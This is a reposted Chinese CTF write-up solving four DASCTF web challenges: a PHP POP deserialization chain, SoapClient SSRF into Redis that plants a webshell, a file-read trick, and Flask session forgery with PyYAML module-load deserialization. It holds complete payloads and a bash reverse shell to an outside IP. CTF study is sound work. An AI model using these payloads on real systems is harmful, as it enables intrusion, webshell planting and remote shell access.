文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

DASCTF10月 web

2023-09-09 13:43

关注

比赛忘记打了,回头看看题

ez_pop

highlight_file(__FILE__);error_reporting(0);class fine{    private $cmd;    private $content;    public function __construct($cmd, $content)    {        $this->cmd = $cmd;        $this->content = $content;    }    public function __invoke()    {        call_user_func($this->cmd, $this->content);    }    public function __wakeup()    {        $this->cmd = "";        die("Go listen to Jay Chou's secret-code! Really nice");    }}class show{    public $ctf;    public $time = "Two and a half years";    public function __construct($ctf)    {        $this->ctf = $ctf;    }    public function __toString()    {        return $this->ctf->show();    }    public function show(): string    {        return $this->ctf . ": Duration of practice: " . $this->time;    }}class sorry{    private $name;    private $password;    public $hint = "hint is depend on you";    public $key;    public function __construct($name, $password)    {        $this->name = $name;        $this->password = $password;    }    public function __sleep()    {        $this->hint = new secret_code();    }    public function __get($name)    {        $name = $this->key;        $name();    }    public function __destruct()    {        if ($this->password == $this->name) {            echo $this->hint;        } else if ($this->name = "jay") {            secret_code::secret();        } else {            echo "This is our code";        }    }    public function getPassword()    {        return $this->password;    }    public function setPassword($password): void    {        $this->password = $password;    }}class secret_code{    protected $code;    public static function secret()    {        include_once "hint.php";        hint();    }    public function __call($name, $arguments)    {        $num = $name;        $this->$num();    }    private function show()    {        return $this->code->secret;    }}if (isset($_GET['pop'])) {    $a = unserialize($_GET['pop']);    $a->setPassword(md5(mt_rand()));} else {    $a = new show("Ctfer");    echo $a->show();}

一个简单的链子

sorry::__destruct->show::__tostring->secret_code::show()->sorry::__get->fine::invoke

payload:

class fine{    public $cmd;    public $content;    public function __construct()#构造方法    {        $this->cmd = 'system';        $this->content = 'ls';    }}class show{    public $ctf;    public $time;}class sorry{    public $name;    public $password;    public $hint;    public $key;}class secret_code{    public $code;}$a = new sorry();$a->hint = new show();$a->hint->ctf = new secret_code();$a->hint->ctf->code = new sorry();$a->hint->ctf->code->key = new fine();$b = $a;echo serialize($b);

记得替换一下fine后面的元素个数,大于自身的个数就能绕过wakeup

EasyLove

题目提示redis
源代码:

 <?phphighlight_file(__FILE__);error_reporting(0);class swpu{    public $wllm;    public $arsenetang;    public $l61q4cheng;    public $love;        public function __construct($wllm,$arsenetang,$l61q4cheng,$love){        $this->wllm = $wllm;        $this->arsenetang = $arsenetang;        $this->l61q4cheng = $l61q4cheng;        $this->love = $love;    }    public function newnewnew(){        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);    }    public function flag(){        $this->love->getflag();    }        public function __destruct(){        $this->newnewnew();        $this->flag();    }}class hint{    public $hint;    public function __destruct(){        echo file_get_contents($this-> hint.'hint.php');    }}$hello = $_GET['hello'];$world = unserialize($hello);  

值得注意的是这个地方:

public function newnewnew(){  $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);  }

在这里的值都是我们可控的,而反序列化打redis一半都是配合ssrf这里也给我们提供了条件
可以使用内置类SoapClient
因为他的destruct函数里面调用所以会自动进入,我们只需要构造我们需要的值即可

class swpu{    public $wllm;    public $arsenetang;    public $l61q4cheng;    public $love;}$a = new swpu();$a->wllm = 'SoapClient';$a->arsenetang = null;$target = 'http://127.0.0.1:6379/';$poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing ''\r\nsave";$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");echo urlencode(serialize($a));

尝试写入一句话进shell.php
发现虽然页面在加载,也就是说我们的命令已经执行,但是访问shell.php发现并未写入,猜测应该是redis有认证,我们需要找到他的密码。
回到题目继续往下看发现源码里面含有一个hint.php
现在就是要尝试读取到hint.php里面的内容
也可以任意构造gopher协议,返回为空,这样他就会直接file_get_contents('hint.php');
查看发现给出提示

$hint = "My favorite database is Redis and My favorite day is 20220311";?>

猜测20220311是redis的认证密码
直接在flushall前面加上认证再写入一句话
$poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing ''\r\nsave";
写入即可
蚁剑连接上去发现在根目录下面有个start.sh
在这里插入图片描述
找到了flag的位置,直接cat发现没有权限,猜测需要提权
用ffind寻找suid
蚁剑不好找,而且他也没办法直接反弹,我们可以写一个sh文件然后bash执行就能反弹
find / -perm -u=s -type f 2>/dev/null
在这里插入图片描述发现date命令中-f可以查看文件,直接date -f /hereisflag/flllll111aaagg

hade_waibo

算是非预期的把:
在随意登陆进去之后,发现一个文件读取
然后任意文件读取之后会在图片里面返回出来
能任意文件阅读,题目提示flag在根目录下面的一个文件里面,而且在之前的题目里面看到在根目录下面存在start.sh
直接查看start.sh

#!/bin/shecho $FLAG > /ghjsdk_F149_H3re_asdasfcexport FLAG=no_flagFLAG=no_flagapache2-foregroundrm -rf /flag.shtail -f /dev/null

直接找到咯文件名、
直接进行文件读取
flag
预期解:待会写

BlogSystem

打开发现是一个博客网页,注册的时候发现admin已经被注册掉,而登陆之后带着的flaksession里面解码之后有我们的用户名信息,猜测我们需要变成admin
在博客下面发现在模板中隐藏的secret-key
利用这个secret-key解码发现成功,我们直接用它伪造session
···在这里插入图片描述
登陆进去之后发现原来注册之后的路由功能,多了一个download
尝试目录穿越,发现..以及//被替换成空了可以用.//./来构造目录穿越
下载到app.py源码

from flask import *import configapp = Flask(__name__)app.config.from_object(config)app.secret_key = '7his_1s_my_fav0rite_ke7'from model import *#导入的包1from view import *#导入的包2app.register_blueprint(index, name='index')app.register_blueprint(blog, name='blog')@app.context_processordef login_statue():    username = session.get('username')    if username:        try:            user = User.query.filter(User.username == username).first()            if user:                return {"username": username, 'name': user.name, 'password': user.password}        except Exception as e:            return e    return {}@app.errorhandler(404)def page_not_found(e):    return render_template('404.html'), 404@app.errorhandler(500)def internal_server_error(e):    return render_template('500.html'), 500if __name__ == '__main__':    app.run('0.0.0.0', 80)

发现该文件只是浅浅初始化了一下路由,我们着重可以看一下他导入的包
flask config view modleflask就不说了,上面的session伪造,
可以看出来这三个包就是最基本的MVC结构,或者说是MVT
可以浅浅看一下MVT的介绍Peter杰

MVT介绍
MVT 全拼为Model-View-Template
MVT 核心思想 : 解耦
MVT 解析
M (模型)全拼为Model, 与MVC中的M功能相同, 负责数据处理, 内嵌了ORM框架.
V (视图)全拼为View, 与MVC中的C功能相同, 接收HttpRequest, 业务处理,返回HttpResponse.
T (模板)全拼为Template, 与MVC中的V功能相同, 负责封装构造要返回的html, 内嵌了模板引擎.

想要更加深入了解,请移步百度

想要看看他导入的文件直接下载view.py发现没有文件,那么就是在view文件夹下面的内容了,直接下载vew/__init__.py

from .index import indexfrom .blog import blog

下载index.py以及blog.py

from flask import Blueprint, session, render_template, request, flash, redirect, url_for, Response, send_filefrom werkzeug.security import check_password_hashfrom decorators import login_limit, admin_limitfrom model import *import osindex = Blueprint("index", __name__)@index.route('/')def hello():    return render_template('index.html')@index.route('/register', methods=['POST', 'GET'])def register():    if request.method == 'GET':        return render_template('register.html')    if request.method == 'POST':        name = request.form.get('name')        username = request.form.get('username')        password = request.form.get('password')        user = User.query.filter(User.username == username).first()        if user is not None:            flash("该用户名已存在")            return render_template('register.html')        else:            user = User(username=username, name=name)            user.password_hash(password)            db.session.add(user)            db.session.commit()            flash("注册成功!")            return render_template('register.html')@index.route('/login', methods=['POST', 'GET'])def login():    if request.method == 'GET':        return render_template('login.html')    if request.method == 'POST':        username = request.form.get('username')        password = request.form.get('password')        user = User.query.filter(User.username == username).first()        if (user is not None) and (check_password_hash(user.password, password)):            session['username'] = user.username            session.permanent = True            return redirect(url_for('index.hello'))        else:            flash("账号或密码错误")            return render_template('login.html')@index.route("/updatePwd", methods=['POST', 'GET'])@login_limitdef update():    if request.method == "GET":        return render_template("updatePwd.html")    if request.method == 'POST':        lodPwd = request.form.get("lodPwd")        newPwd1 = request.form.get("newPwd1")        newPwd2 = request.form.get("newPwd2")        username = session.get("username")        user = User.query.filter(User.username == username).first()        if check_password_hash(user.password, lodPwd):            if newPwd1 != newPwd2:                flash("两次新密码不一致!")                return render_template("updatePwd.html")            else:                user.password_hash(newPwd2)                db.session.commit()                flash("修改成功!")                return render_template("updatePwd.html")        else:            flash("原密码错误!")            return render_template("updatePwd.html")@index.route('/download', methods=['GET'])@admin_limitdef download():    if request.args.get('path'):        path = request.args.get('path').replace('..', '').replace('//', '')        path = os.path.join('static/upload/', path)        if os.path.exists(path):            return send_file(path)        else:            return render_template('404.html', file=path)    return render_template('sayings.html',                           yaml='所谓『恶』,是那些只为了自己,利用和践踏弱者的家伙!但是,我虽然是这样,也知道什么是令人作呕的『恶』,所以,由我来制裁!')@index.route('/logout')def logout():    session.clear()    return redirect(url_for('index.hello'))

blog.py

import osimport randomimport reimport timeimport yamlfrom flask import Blueprint, render_template, request, sessionfrom yaml import Loaderfrom decorators import login_limit, admin_limitfrom model import *blog = Blueprint("blog", __name__, url_prefix="/blog")def waf(data):    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):        return False    else:        return True@blog.route('/writeBlog', methods=['POST', 'GET'])@login_limitdef writeblog():    if request.method == 'GET':        return render_template('writeBlog.html')    if request.method == 'POST':        title = request.form.get("title")        text = request.form.get("text")        username = session.get('username')        create_time = time.strftime("%Y-%m-%d %H:%M:%S")        user = User.query.filter(User.username == username).first()        blog = Blog(title=title, text=text, create_time=create_time, user_id=user.id)        db.session.add(blog)        db.session.commit()        blog = Blog.query.filter(Blog.create_time == create_time).first()        return render_template('blogSuccess.html', title=title, id=blog.id)@blog.route('/imgUpload', methods=['POST'])@login_limitdef imgUpload():    try:        file = request.files.get('editormd-image-file')        fileName = file.filename.replace('..','')        filePath = os.path.join("static/upload/", fileName)        file.save(filePath)        return {            'success': 1,            'message': '上传成功!',            'url': "/" + filePath        }    except Exception as e:        return {            'success': 0,            'message': '上传失败'        }@blog.route('/showBlog/')def showBlog(id):    blog = Blog.query.filter(Blog.id == id).first()    comment = Comment.query.filter(Comment.blog_id == blog.id)    return render_template("showBlog.html", blog=blog, comment=comment)@blog.route("/blogAll")def blogAll():    blogList = Blog.query.order_by(Blog.create_time.desc()).all()    return render_template('blogAll.html', blogList=blogList)@blog.route("/update/", methods=['POST', 'GET'])@login_limitdef update(id):    if request.method == 'GET':        blog = Blog.query.filter(Blog.id == id).first()        return render_template('updateBlog.html', blog=blog)    if request.method == 'POST':        id = request.form.get("id")        title = request.form.get("title")        text = request.form.get("text")        blog = Blog.query.filter(Blog.id == id).first()        blog.title = title        blog.text = text        db.session.commit()        return render_template('blogSuccess.html', title=title, id=id)@blog.route("/delete/")@login_limitdef delete(id):    blog = Blog.query.filter(Blog.id == id).first()    db.session.delete(blog)    db.session.commit()    return {        'state': True,        'msg': "删除成功!"    }@blog.route("/myBlog")@login_limitdef myBlog():    username = session.get('username')    user = User.query.filter(User.username == username).first()    blogList = Blog.query.filter(Blog.user_id == user.id).order_by(Blog.create_time.desc()).all()    return render_template("myBlog.html", blogList=blogList)@blog.route("/comment", methods=['POST'])@login_limitdef comment():    text = request.values.get('text')    blogId = request.values.get('blogId')    username = session.get('username')    create_time = time.strftime("%Y-%m-%d %H:%M:%S")    user = User.query.filter(User.username == username).first()    comment = Comment(text=text, create_time=create_time, blog_id=blogId, user_id=user.id)    db.session.add(comment)    db.session.commit()    return {        'success': True,        'message': '评论成功!',    }@blog.route('/myComment')@login_limitdef myComment():    username = session.get('username')    user = User.query.filter(User.username == username).first()    commentList = Comment.query.filter(Comment.user_id == user.id).order_by(Comment.create_time.desc()).all()    return render_template("myComment.html", commentList=commentList)@blog.route('/deleteCom/')def deleteCom(id):    com = Comment.query.filter(Comment.id == id).first()    db.session.delete(com)    db.session.commit()    return {        'state': True,        'msg': "删除成功!"    }@blog.route('/saying', methods=['GET'])@admin_limitdef Saying():    if request.args.get('path'):        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')        try:            with open(file, 'rb') as f:                f = f.read()                if waf(f):                    print(yaml.load(f, Loader=Loader))                    return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')                else:                    return render_template('sayings.html', yaml='鲁迅说:你说得不对')        except Exception as e:            return render_template('sayings.html', yaml='鲁迅说:'+str(e))    else:        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:            sayings = yaml.load(f, Loader=Loader)            saying = random.choice(sayings)            return render_template('sayings.html', yaml=saying)

主要应该先看这里

@blog.route('/imgUpload', methods=['POST'])@login_limitdef imgUpload():    try:        file = request.files.get('editormd-image-file')        fileName = file.filename.replace('..','')        filePath = os.path.join("static/upload/", fileName)        file.save(filePath)        return {            'success': 1,            'message': '上传成功!',            'url': "/" + filePath        }    except Exception as e:        return {            'success': 0,            'message': '上传失败'        }

这里对文件名进行了替换,防止了目录穿越
还有一个在前端没有的页面saying

@blog.route('/saying', methods=['GET'])@admin_limitdef Saying():    if request.args.get('path'):        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')        try:            with open(file, 'rb') as f:                f = f.read()                if waf(f):                    print(yaml.load(f, Loader=Loader))                    return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')                else:                    return render_template('sayings.html', yaml='鲁迅说:你说得不对')        except Exception as e:            return render_template('sayings.html', yaml='鲁迅说:'+str(e))    else:        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:            sayings = yaml.load(f, Loader=Loader)            saying = random.choice(sayings)            return render_template('sayings.html', yaml=saying)

如果我们get传入了path,它就会对我们传入的数据进行过滤,如果完成绕过了waf,那么他就会调用yaml的load方法来加载我们的文件
看一下waf

def waf(data):    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):        return False    else:        return True

这里对常用的命令执行参数进行了过滤,完全没办法绕过捏
前面调用到yaml.load也就是可以用到pyyaml反序列化
常用的反序列化标签

!!python/object
!!python/object/apply
!!python/object/new

(没学过)查看出题人的博客说,object没有合适的模块,不能执行,而第二个又被waf过滤了,那么就只剩第三个了
在源码中apply以及new他们最后进入的是同一个函数,所以payload可以通用

简而言之,就是可以写一个__init__.py文件,然后用saying里面的load加载,因为无法目录穿越,所以只能使用__init__.py将整个upload看作为一个软件包,然后就可以执行加载

这样我们就可以实现import static.upload的功能
然后我们直接在__init__.py里面写入反弹shell命令,在VPS上面接收就可以getshell
访问/blog/saying?path=static/upload/poc.yaml就可以反弹shell
直接cat /flag就行

import osos.system('bash -c "bash -i >& /dev/tcp/81.68.106.68/2333 0>&1"')
!!python/module:static.upload

来源地址:https://blog.csdn.net/your_friends/article/details/127547997

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯